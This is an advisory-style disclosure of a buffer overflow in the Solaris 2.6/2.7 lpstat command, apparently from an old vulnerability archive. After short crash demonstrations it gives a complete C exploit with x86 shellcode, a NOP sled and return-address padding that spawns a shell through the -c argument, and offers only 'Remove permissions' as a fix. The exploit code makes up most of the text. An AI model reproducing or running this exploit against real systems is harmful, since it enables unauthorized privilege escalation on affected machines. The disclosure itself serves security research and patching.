COMMAND

    /usr/bin/lpstat

SYSTEMS AFFECTED

    Solaris 2.7 x86

PROBLEM

    plasmoid deep/thc/clb found bug in /usr/bin/lpstat.  He  testified
    this bug on either Solaris 2.7 x86 and 2.6 Sparc and assumption is
    that it is also present on Solaris 2.6 x86 and 2.7 Sparc.  Solaris
    2.7 x86:

        % plasmoid@gorkie:foo> lpstat -c `perl -e 'print "A" x 998'`
        % UX:lpstat: ERROR: Class
                            [...]
        %                   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" does
        %                   not exist.
        %           TO FIX: Use the "lpstat -c all" command to list
        %                   all known classes.
        % Segmentation Fault
        % plasmoid@gorkie:foo>

    Solaris 2.6 Sparc

        % plasmoid@bock:foo> lpstat -c `perl -e 'print "AAAA" x 250'`
        % UX:lpstat: ERROR: Class
                            [...]
        %                   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" does not
        %                   exist.
        %          TO FIX: Use the "lpstat -c all" command to list
        %                  all known classes.
        % Segmentation Fault
        % plasmoid@bock:foo>

    This overflow is definitly exploitable.  Below is the exploit for
    Solaris x86.

    /*
     * lpstat sploit for solaris 2.6/2.7
     * by plasmoid/deep/thc <plasmoid@pimmel.com> (c) 1999
     * supported by insected and wilkins
     *
     * THC - The Hacker's Choice
     * http://thc.inferno.tusculum.edu
     */



    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>


    char shell[] =
     "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
     "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
     "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
     "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
     "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
     "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

    const int buffersize=1100;
    const char x86_nop=0x90;
    long nop,esp;
    long offset=0;
    char buffer[2000];

    long get_esp() { __asm__("movl %esp,%eax"); }

    int main (int argc, char *argv[]) {
        int i;

        /* you shouldn't edit the offset, we run with
           800 nops in 1100 bytes buffer, one of those
           nops should be hit */

        if (argc > 1) offset = strtol(argv[1], NULL, 0);

        /* if you don't succeed, modify the nop count,
           the standart value of 801 bybtes is quite
           strange enuff */

        if (argc > 2) nop = strtoul(argv[2], NULL, 0);
        else
            nop = 801;

        esp = get_esp();

        memset(buffer, x86_nop, buffersize);
        memcpy(buffer+nop, shell, strlen(shell));
        for (i = nop+strlen(shell); i < buffersize-4; i += 4)
            *((int *) &buffer[i]) = esp+offset;

        execl("/usr/bin/lpstat", "lpstat", "-c", buffer, NULL);

        printf("exec failed!\n");
        return 0;
    }

SOLUTION

    Nothing yet.  Remove permissions.